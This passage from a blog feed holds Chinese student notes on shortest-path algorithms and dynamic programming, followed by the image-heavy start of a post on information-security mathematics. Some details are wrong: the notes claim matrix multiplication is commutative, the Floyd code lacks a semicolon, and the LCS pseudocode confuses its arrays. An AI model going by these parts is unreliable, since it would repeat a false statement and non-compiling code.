function_">ShortestPath_DIJ</span><span class="params">(AMGraph G, <span class="type">int</span> v0)</span>&#123; </span><br><span class="line">    <span class="comment">//用Dijkstra算法求有向网G的v0顶点到其余顶点的最短路径 </span></span><br><span class="line">    n=G.vexnum;                    <span class="comment">//n为G中顶点的个数 </span></span><br><span class="line">    S[v0]=<span class="literal">true</span>;                    <span class="comment">//将v0加入S </span></span><br><span class="line">    D[v0]=<span class="number">0</span>;                      <span class="comment">//源点到源点的距离为0</span></span><br><span class="line">    <span class="keyword">for</span>(v = <span class="number">1</span>; v&lt;n; ++v)&#123;             <span class="comment">//n个顶点依次初始化 </span></span><br><span class="line">       S[v] = <span class="literal">false</span>;                  <span class="comment">//S初始为空集 </span></span><br><span class="line">       D[v] = G.arcs[v0][v];           <span class="comment">//将v0到各个终点的最短路径长度初始化 </span></span><br><span class="line">       <span class="keyword">if</span>(D[v]&lt; MaxInt)  Path [v]=v0; <span class="comment">//v0和v之间有弧，将v的前驱置为v0 </span></span><br><span class="line">       <span class="keyword">else</span> Path [v]=<span class="number">-1</span>;               <span class="comment">//如果v0和v之间无弧，则将v的前驱置为-1 </span></span><br><span class="line">     &#125;<span class="comment">//for </span></span><br><span class="line"><span class="comment">/*―开始主循环，每次求得v0到某个顶点v的最短路径，将v加到S集―*/</span> </span><br><span class="line">      <span class="keyword">for</span>(i=<span class="number">1</span>;i&lt;n; ++i)&#123;               <span class="comment">//对其余n−1个顶点，依次进行计算 </span></span><br><span class="line">          min= MaxInt; </span><br><span class="line">          <span class="keyword">for</span>(w=<span class="number">0</span>;w&lt;n; ++w) </span><br><span class="line">          <span class="keyword">if</span>(!S[w]&amp;&amp;D[w]&lt;min)  </span><br><span class="line">                &#123;v=w; min=D[w];&#125;         <span class="comment">//选择一条当前的最短路径，终点为v </span></span><br><span class="line">          S[v]=<span class="literal">true</span>;                   <span class="comment">//将v加入S </span></span><br><span class="line">          <span class="keyword">for</span>(w=<span class="number">0</span>;w&lt;n; ++w) <span class="comment">//更新从v0出发到集合V−S中顶点的最短路径长度 </span></span><br><span class="line">                <span class="keyword">if</span>(!S[w]&amp;&amp;(D[v]+G.arcs[v][w]&lt;D[w]))&#123; </span><br><span class="line">                      D[w]=D[v]+G.arcs[v][w];   <span class="comment">//更新D[w] </span></span><br><span class="line">                      Path [w]=v;              <span class="comment">//更改w的前驱为v </span></span><br><span class="line">               &#125;<span class="comment">//if </span></span><br><span class="line">    &#125;<span class="comment">//for       </span></span><br><span class="line">&#125;<span class="comment">//ShortestPath_DIJ </span></span><br></pre></td></tr></table></figure><h5 id="弗洛伊德算法"><a href="#弗洛伊德算法" class="headerlink" title="弗洛伊德算法"></a>弗洛伊德算法</h5><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">采用图的邻接矩阵的存储结构</span><br><span class="line">怎样构造一个图，在此不赘述，直接给出floyd-wallshall算法。</span><br><span class="line"><span class="type">void</span> <span class="title function_">MDNet::Floyd</span><span class="params">(CDC *pDC)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">typedef</span> <span class="built_in">vector</span>&lt;<span class="type">int</span>&gt; path;<span class="comment">//使用顺序表模板</span></span><br><span class="line">path p[max_vertex_num][max_vertex_num];</span><br><span class="line"><span class="comment">//p存放每对顶点之间的最短路径</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> D[max_vertex_num][max_vertex_num];</span><br><span class="line"><span class="comment">// D存放每对顶点之间的最短路径值</span></span><br><span class="line"><span class="type">int</span> i,j,k;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">1</span>;i&lt;=vex_num;i++)</span><br><span class="line">&#123;<span class="comment">//初始化</span></span><br><span class="line"><span class="keyword">for</span>(j=<span class="number">1</span>;j&lt;=vex_num;j++)</span><br><span class="line">&#123;</span><br><span class="line">p[i][j].push_back(i);</span><br><span class="line">p[i][j].push_back(j);</span><br><span class="line"><span class="comment">//顶点i和顶点j之间的路径初始时就是ij。</span></span><br><span class="line">D[i][j]=arcs[i][j];<span class="comment">//路径值为边（i，j）的权值</span></span><br><span class="line">&#125;</span><br><span class="line">&#125; </span><br><span class="line"><span class="keyword">for</span>(k=<span class="number">1</span>;k&lt;=vex_num;k++)</span><br><span class="line"> &#123;<span class="comment">//对于每一个顶点都要试探</span></span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">1</span>;i&lt;=vex_num;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span>(j=<span class="number">1</span>;j&lt;=vex_num;j++)</span><br><span class="line">&#123;<span class="comment">//在顶点i和顶点j之间的路径上试探k</span></span><br><span class="line"><span class="keyword">if</span>(i==j)<span class="keyword">continue</span>;<span class="comment">//对角线上的元素（即顶点自身之//间）不予考虑</span></span><br><span class="line"><span class="keyword">if</span>(D[i][k]+D[k][j]&lt;D[i][j])</span><br><span class="line">&#123;<span class="comment">//发现更短的路径</span></span><br><span class="line">D[i][j]=D[i][k]+D[k][j];</span><br><span class="line"><span class="comment">//新的i、j间的路径由两部分组成</span></span><br><span class="line"><span class="comment">//p[i][k]+p[k][j]</span></span><br><span class="line">p[i][j]=p[i][k]<span class="keyword">for</span>(<span class="type">int</span> m=<span class="number">1</span>;m&lt;p[k][j].size();m++)</span><br><span class="line">    p[i][j].push_back(p[k][j][m]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"> &#125;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">1</span>;i&lt;=vex_num;i++)</span><br><span class="line"> &#123;<span class="comment">//打印每两个顶点之间的路径</span></span><br><span class="line"> <span class="keyword">for</span>(j=<span class="number">1</span>;j&lt;=vex_num;j++)</span><br><span class="line"> &#123;</span><br><span class="line"> <span class="keyword">for</span>(k=<span class="number">0</span>;k&lt;p[i][j].size();k++)</span><br><span class="line"> <span class="built_in">cout</span>&lt;&lt;p[i][j][k]&lt;&lt;<span class="string">&quot;  &quot;</span>;</span><br><span class="line"> <span class="built_in">cout</span>&lt;&lt;D[i][j];</span><br><span class="line"> <span class="built_in">cout</span>&lt;&lt;<span class="built_in">endl</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="算法全局最优解"><a href="#算法全局最优解" class="headerlink" title="算法全局最优解"></a>算法全局最优解</h1><h2 id="动态规划"><a href="#动态规划" class="headerlink" title="动态规划"></a>动态规划</h2><h3 id="动态规划与分治递归的区别"><a href="#动态规划与分治递归的区别" class="headerlink" title="动态规划与分治递归的区别"></a>动态规划与分治递归的区别</h3><ul><li><strong>共同点：递归子结构</strong></li></ul><p>将待求解问题分解成若干个规模较小的相同类型的子问题，先求解子问题，然后从这些子问题的解得到原问题的解。</p><ul><li><strong>不同点：重叠子问题</strong></li></ul><p>适合于用动态规划求解的问题，经分解得到子问题往往不是互相独立的。若用分治法来解这类问题，则分解得到的子问题数目太多，有些子问题被重复计算了很多次。</p><ul><li><strong>解决方案</strong></li></ul><p>保存所有已解的子问题的答案以备后用。</p><h3 id="基本步骤"><a href="#基本步骤" class="headerlink" title="基本步骤"></a>基本步骤</h3><ul><li>找出最优解的性质，并刻划其结构特征。</li><li>递归地定义最优值。</li><li>以<strong>自底向上</strong>的方式计算出最优值。</li><li>根据计算最优值时得到的信息，构造最优解。</li></ul><h3 id="带权重的活动安排问题"><a href="#带权重的活动安排问题" class="headerlink" title="带权重的活动安排问题"></a>带权重的活动安排问题</h3><p>不能使用贪心算法求解</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201201600142.png" alt="image-20231201201600142"></p><p>p(j)为与活动j兼容的最大活动序号</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201201945542.png" alt="image-20231201201945542"></p><p>分为两种情形，$v_j$表示第j个活动的权重</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201203550003.png"></p><p>递归求解和动态规划求解对比</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201203101098.png"></p><p>时间复杂度为$O(1.618^n)$</p><p>因为如下图可算得$\frac{1+\sqrt{5}}{2}\approx1.618$</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201204000095.png" alt="image-20231201204000095"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201203213987.png" alt="image-20231201203213987"></p><p>时间复杂度为$O(2n)$</p><p>因为完成两次递归调用填充一个$M[n]$,一共填充$2n$次</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231201204634428.png" alt="image-20231201204634428"></p><p>时间复杂度为$O(n\log_2n)$</p><p>因为快速排序的时间复杂度是$O(n\log_2n)$</p><h3 id="动态规划算法的基本要素"><a href="#动态规划算法的基本要素" class="headerlink" title="动态规划算法的基本要素"></a>动态规划算法的基本要素</h3><ol><li>最优子结构</li></ol><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208193547509.png" alt="image-20231208193547509"></p><ol start="2"><li>重叠子问题</li></ol><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208193712313.png" alt="image-20231208193712313"></p><h3 id="矩阵连乘问题"><a href="#矩阵连乘问题" class="headerlink" title="矩阵连乘问题"></a>矩阵连乘问题</h3><h4 id="结构"><a href="#结构" class="headerlink" title="结构"></a>结构</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208193823638.png" alt="image-20231208193823638"></p><p>矩阵乘法满足交换率，故矩阵连乘可能得到不同的结果</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208194158482.png" alt="image-20231208194158482"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208194228534.png" alt="image-20231208194228534"></p><p>动态规划思路</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208194317633.png" alt="image-20231208194317633"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208194338316.png" alt="image-20231208194338316"></p><p>得到递归的关系<br>$$<br>m[i,j]&#x3D;\begin{cases}<br>0&amp;&amp;&amp;&amp;&amp;&amp;&amp;i&#x3D;j\<br>min{m[i,j]+m[k+1,j]+p_{i-1}p_kp_j}&amp;&amp;&amp;&amp;&amp;&amp;&amp;i&lt;j<br>\end{cases}<br>$$<br><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208194402651.png" alt="image-20231208194402651"></p><p>但是递归算法的许多子问题被计算了多次</p><h4 id="动态规划算法"><a href="#动态规划算法" class="headerlink" title="动态规划算法"></a>动态规划算法</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public <span class="type">static</span> <span class="type">void</span> <span class="title function_">matrixChain</span><span class="params">(<span class="type">int</span> [] p, <span class="type">int</span> [][] m, <span class="type">int</span> [][] s)</span> &#123;</span><br><span class="line">      <span class="type">int</span> n=p.length<span class="number">-1</span>;</span><br><span class="line">      <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt;= n; i++) m[i][i] = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">for</span> (<span class="type">int</span> r = <span class="number">2</span>; r &lt;= n; r++)                   \\ r 为矩阵链的长度</span><br><span class="line">           <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt;= n - r+<span class="number">1</span>; i++) &#123;     \\ i 为首矩阵的序号</span><br><span class="line">                 <span class="type">int</span> j=i+r<span class="number">-1</span>;                                \\ j 为尾矩阵的序号</span><br><span class="line">                 m[i][j] = m[i+<span class="number">1</span>][j]+ p[i<span class="number">-1</span>]*p[i]*p[j];   \\ 首先尝试在矩阵 i 处分开</span><br><span class="line">                 s[i][j] = i;</span><br><span class="line">                 <span class="keyword">for</span> (<span class="type">int</span> k = i+<span class="number">1</span>; k &lt; j; k++) &#123;           \\ 然后尝试在矩阵 k 处分开</span><br><span class="line">                       <span class="type">int</span> t = m[i][k] + m[k+<span class="number">1</span>][j] + p[i<span class="number">-1</span>]*p[k]*p[j];</span><br><span class="line">                       <span class="keyword">if</span> (t &lt; m[i][j]) &#123;</span><br><span class="line">                            m[i][j] = t;</span><br><span class="line">                            s[i][j] = k;</span><br><span class="line">                       &#125;</span><br><span class="line">                 &#125;</span><br><span class="line">           &#125;</span><br><span class="line">      &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="算法的时间空间复杂度"><a href="#算法的时间空间复杂度" class="headerlink" title="算法的时间空间复杂度"></a>算法的时间空间复杂度</h4><p>算法复杂度分析：</p><p>算法matrixChain的主要计算量取决于算法中对r，i和k的3重循环。循环体内的计算量为$O(1)$，而3重循环的总次数为$O(n^3)$。因此算法的计算时间上界为$O(n^3)$。算法所占用的空间显然为$O(n^2)$。</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208201323117.png" alt="image-20231208201323117"></p><h3 id="0-1背包问题"><a href="#0-1背包问题" class="headerlink" title="0-1背包问题"></a>0-1背包问题</h3><h4 id="结构-1"><a href="#结构-1" class="headerlink" title="结构"></a>结构</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208201405215.png" alt="image-20231208201405215"></p><p>贪心算法可能得不到最优解</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208201533938.png" alt="image-20231208201533938"></p><p>正确和错误分析</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208201630933.png" alt="image-20231208201630933"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208201644523.png" alt="image-20231208201644523"></p><p>添加一个w来记录重量限制即可</p><h4 id="动态规划求解"><a href="#动态规划求解" class="headerlink" title="动态规划求解"></a>动态规划求解</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Input: n, w1,…,wN, v1,…,vN</span><br><span class="line"><span class="keyword">for</span> w = <span class="number">0</span> to W</span><br><span class="line">   M[<span class="number">0</span>, w] = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i = <span class="number">1</span> to n</span><br><span class="line">   <span class="keyword">for</span> w = <span class="number">1</span> to W</span><br><span class="line">      <span class="keyword">if</span> (wi &gt; w)</span><br><span class="line">         M[i, w] = M[i<span class="number">-1</span>, w]</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">         M[i, w] = max &#123;M[i<span class="number">-1</span>, w], vi + M[i<span class="number">-1</span>, w-wi ]&#125;</span><br><span class="line"><span class="keyword">return</span> M[n, W]</span><br></pre></td></tr></table></figure><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208202150974.png" alt="image-20231208202150974"></p><h4 id="时间复杂度"><a href="#时间复杂度" class="headerlink" title="时间复杂度"></a>时间复杂度</h4><p>时间复杂度为 $\Theta(n W)$</p><h3 id="最长子序列"><a href="#最长子序列" class="headerlink" title="最长子序列"></a>最长子序列</h3><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208202351529.png" alt="image-20231208202351529"></p><h4 id="结构-2"><a href="#结构-2" class="headerlink" title="结构"></a>结构</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208202553476.png" alt="image-20231208202553476"></p><h4 id="递归结构"><a href="#递归结构" class="headerlink" title="递归结构"></a>递归结构</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208203024712.png" alt="image-20231208203024712"></p><h4 id="算法"><a href="#算法" class="headerlink" title="算法"></a>算法</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Algorithm <span class="title function_">lcsLength</span><span class="params">(x,y,b)</span></span><br><span class="line">1: m&lt;-x.length;</span><br><span class="line"><span class="number">2</span>: n&lt;-y.length;</span><br><span class="line"><span class="number">3</span>: m[i][<span class="number">0</span>]=<span class="number">0</span>; m[<span class="number">0</span>][i]=<span class="number">0</span>;</span><br><span class="line"><span class="number">4</span>: <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt;= m; i++)</span><br><span class="line"><span class="number">5</span>:    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt;= n; j++) </span><br><span class="line"><span class="number">6</span>:       <span class="keyword">if</span> (x[i]==y[j]) </span><br><span class="line"><span class="number">7</span>:           m[i][j]=m[i<span class="number">-1</span>][j<span class="number">-1</span>]+<span class="number">1</span>;</span><br><span class="line"><span class="number">8</span>:           b[i][j]=<span class="number">1</span>;</span><br><span class="line"><span class="number">9</span>:        <span class="keyword">else</span> <span class="keyword">if</span> (m[i<span class="number">-1</span>][j]&gt;=m[i][j<span class="number">-1</span>]) </span><br><span class="line"><span class="number">10</span>:          m[i][j]=m[i<span class="number">-1</span>][j];</span><br><span class="line"><span class="number">11</span>:          b[i][j]=<span class="number">2</span>;</span><br><span class="line"><span class="number">12</span>:      <span class="keyword">else</span> </span><br><span class="line"><span class="number">13</span>:           m[i][j]=c[i][j<span class="number">-1</span>];</span><br><span class="line"><span class="number">14</span>:           b[i][j]=<span class="number">3</span>;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">构造最长公共子序列</span><br><span class="line">Algorithm <span class="title function_">lcs</span><span class="params">(<span class="type">int</span> i,<span class="type">int</span> j,<span class="type">char</span> [] x,<span class="type">int</span> [][] b)</span></span><br><span class="line">   &#123;</span><br><span class="line">      <span class="keyword">if</span> (i ==<span class="number">0</span> || j==<span class="number">0</span>) <span class="keyword">return</span>;</span><br><span class="line">      <span class="keyword">if</span> (b[i][j]== <span class="number">1</span>)&#123;</span><br><span class="line">        lcs(i<span class="number">-1</span>,j<span class="number">-1</span>,x,b);</span><br><span class="line">        System.out.print(x[i]);</span><br><span class="line">        &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (b[i][j]== <span class="number">2</span>) lcs(i<span class="number">-1</span>,j,x,b);</span><br><span class="line">        <span class="keyword">else</span> lcs(i,j<span class="number">-1</span>,x,b);</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208204304688.png" alt="image-20231208204304688"></p><h4 id="时间复杂度-1"><a href="#时间复杂度-1" class="headerlink" title="时间复杂度"></a>时间复杂度</h4><p>由于每个数组单元的计算耗费$O(1)$时间，算法LCSLength耗时$O(mn)$.</p><h3 id="序列对齐"><a href="#序列对齐" class="headerlink" title="序列对齐"></a>序列对齐</h3><h4 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208205556675.png" alt="image-20231208205556675"></p><h4 id="编辑距离"><a href="#编辑距离" class="headerlink" title="编辑距离"></a>编辑距离</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208205630884.png" alt="image-20231208205630884"></p><h4 id="问题结构"><a href="#问题结构" class="headerlink" title="问题结构"></a>问题结构</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208205754456.png" alt="image-20231208205754456"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208205851237.png" alt="image-20231208205851237"></p><h4 id="动态规划算法-1"><a href="#动态规划算法-1" class="headerlink" title="动态规划算法"></a>动态规划算法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231208205956022.png" alt="image-20231208205956022"></p><h4 id="时间复杂度-2"><a href="#时间复杂度-2" class="headerlink" title="时间复杂度"></a>时间复杂度</h4><p>时间复杂度为$O(n^2)$</p><blockquote><p>参考：</p><p>董强老师ppt</p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;数据结构与算法&quot;&gt;&lt;a href=&quot;#数据结构与算法&quot; class=&quot;headerlink&quot; title=&quot;数据结构与算法&quot;&gt;&lt;/a&gt;数据结构与算法&lt;/h1&gt;&lt;h2 id=&quot;基本概念&quot;&gt;&lt;a href=&quot;#基本概念&quot; class=&quot;headerlink&quot; titl</summary>
      
    
    
    
    <category term="专业课学习笔记" scheme="https://foreon.github.io/categories/%E4%B8%93%E4%B8%9A%E8%AF%BE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="大学课程学习" scheme="https://foreon.github.io/tags/%E5%A4%A7%E5%AD%A6%E8%AF%BE%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>信息安全数学基础归纳</title>
    <link href="https://foreon.github.io/posts/43666.html"/>
    <id>https://foreon.github.io/posts/43666.html</id>
    <published>2023-12-09T17:06:12.144Z</published>
    <updated>2023-12-09T17:12:31.827Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>期末在即，为了复习同时也为下学期的密码学打下基础，我把<em><strong>信息安全数学基础</strong></em>这门课归纳了一下，以供复习参考和记录。</p><p><strong>多图预警！！！！</strong></p><blockquote><p>所有内容来自许春香老师编著的《信息安全基础教程》</p></blockquote><h1 id="第一章-整除和同余"><a href="#第一章-整除和同余" class="headerlink" title="第一章 整除和同余"></a>第一章 整除和同余</h1><p><img src="https://bu.dusays.com/2023/12/10/65749eae0acf0.jpg" alt="eca3e725126f111951dada109f20af5"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eb04c703.jpg" alt="0aa158a003aa390db9cacbe37d82abf"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eb24328e.jpg" alt="98bda2d6fe1cc993d01481a79607f28"></p><h1 id="第二章-群"><a href="#第二章-群" class="headerlink" title="第二章 群"></a>第二章 群</h1><p><img src="https://bu.dusays.com/2023/12/10/65749eb455322.jpg" alt="4292e5b00aa3fb4e6465da40118203c"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eb633230.jpg" alt="b8874d39a9453e7b4bb0caecc9ef7a0"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eb85d82b.jpg" alt="8a1ba19e9801c07fd9197ecdf7d8d34"></p><h1 id="第三章-循环群与群的结构"><a href="#第三章-循环群与群的结构" class="headerlink" title="第三章 循环群与群的结构"></a>第三章 循环群与群的结构</h1><p><img src="https://bu.dusays.com/2023/12/10/65749eba94951.jpg" alt="f712df4f915e2fdfd1b69bc22cedbe6"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ebccd242.jpg" alt="0b5d1f2482232baa07fa0bb73bb4037"></p><p>群中元素的个数为群的阶，和元素的阶的概念不同，注意区分</p><p>要掌握<strong>“阶为素数的群一定为循环群”</strong>的证明</p><p><img src="https://bu.dusays.com/2023/12/10/65749ebec54be.jpg" alt="847db9e944d94e9fb185bc0bb85fd97"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ec0ab141.jpg" alt="829ea0d52331d6752b35a767d6ba908"></p><h1 id="第四章-环"><a href="#第四章-环" class="headerlink" title="第四章 环"></a>第四章 环</h1><p><img src="https://bu.dusays.com/2023/12/10/65749ec262537.jpg" alt="4c426667eaf531baf3ee2d07563d145"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ec496b1c.jpg" alt="7c74a00fdb7a33194727929e1103211"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ec6c1f2c.jpg" alt="54446ffa4d4a0f5f403edc203bd8fbe"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ec8bf9b3.jpg" alt="026aaad9d88a80abedf4ccaf01e2dda"></p><h1 id="第六章-同余式"><a href="#第六章-同余式" class="headerlink" title="第六章 同余式"></a>第六章 同余式</h1><p><img src="https://bu.dusays.com/2023/12/10/65749ecad750b.jpg" alt="bca7655cdd415d6b612158a5fe8f6c5"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eccd6d69.jpg" alt="3a8ed323951511e4c147f730dd42ce8"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ece8fcf4.jpg" alt="9f1795a715b86032acc960d8dfd6f03"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ed03b82d.jpg" alt="952ca9f21cefdebf1bf2920a9441a65"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ed1e00c1.jpg" alt="72404bbeb7020438e47bda9d42c76c1"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ed3b9c58.jpg" alt="6f698562d1a7d8005a2cf68ca2f6519"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ed5b398b.jpg" alt="b8a58a2f17ad066f9c1692100e9c74d"></p><h2 id="RSA-算法"><a href="#RSA-算法" class="headerlink" title="RSA 算法"></a>RSA 算法</h2><p>或许会考。。。。</p><p>掌握解密正确性的证明</p><p><img src="https://bu.dusays.com/2023/12/10/65749ed79178f.png" alt="image-20231207235352127"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ed8ea257.png" alt="image-20231207235429687"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eda10346.png" alt="image-20231207235444936"></p><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><p>看下这一题，巧用费马定理</p><p><img src="https://bu.dusays.com/2023/12/10/65749edb1e35b.png" alt="image-20231210005528289"></p><p><img src="https://bu.dusays.com/2023/12/10/65749edc679c0.png" alt="image-20231210005540881"></p><h1 id="第七章-平方剩余"><a href="#第七章-平方剩余" class="headerlink" title="第七章 平方剩余"></a>第七章 平方剩余</h1><p><img src="https://bu.dusays.com/2023/12/10/65749ede2e6ad.jpg" alt="3802555b0e8eb15ecae32f91f147e6e"></p><p><img src="https://bu.dusays.com/2023/12/10/65749edfad42c.jpg" alt="fe26da913cad7fdbf4b3d236f9c4ae3"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ee1458bb.jpg" alt="09fec03cc3dc93df078c079f1b0ddf1"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ee28b4ec.jpg" alt="7da706a91c817a4cb434f7b9bfb94be"></p><h1 id="第八章-原根和离散对数"><a href="#第八章-原根和离散对数" class="headerlink" title="第八章 原根和离散对数"></a>第八章 原根和离散对数</h1><p><img src="https://bu.dusays.com/2023/12/10/65749ee452037.jpg" alt="cb1987514be53640fc840ffc1a70a72"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ee6416c7.jpg" alt="638a5825a77a45baf93806bc2b032c5"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ee7e4830.jpg" alt="f6b87c4f4af1c5cef40eb6a5bf31fbc"></p><p><img src="https://bu.dusays.com/2023/12/10/65749ee99274a.jpg" alt="936b1488fdd34505d241b09643776fe"></p><h2 id="Rabin密码体制和-ElGamal密码体制"><a href="#Rabin密码体制和-ElGamal密码体制" class="headerlink" title="Rabin密码体制和 ElGamal密码体制"></a><strong>Rabin</strong>密码体制和 <strong>ElGamal</strong>密码体制</h2><p>或许会考？？？还是了解即可吧</p><p><img src="https://bu.dusays.com/2023/12/10/65749eeabac8b.png" alt="image-20231210010157620"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eebd2e5b.png" alt="image-20231210010207631"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eed091ae.png" alt="image-20231210010221340"></p><p><img src="https://bu.dusays.com/2023/12/10/65749eee10220.png" alt="image-20231210010232596"></p><p><img 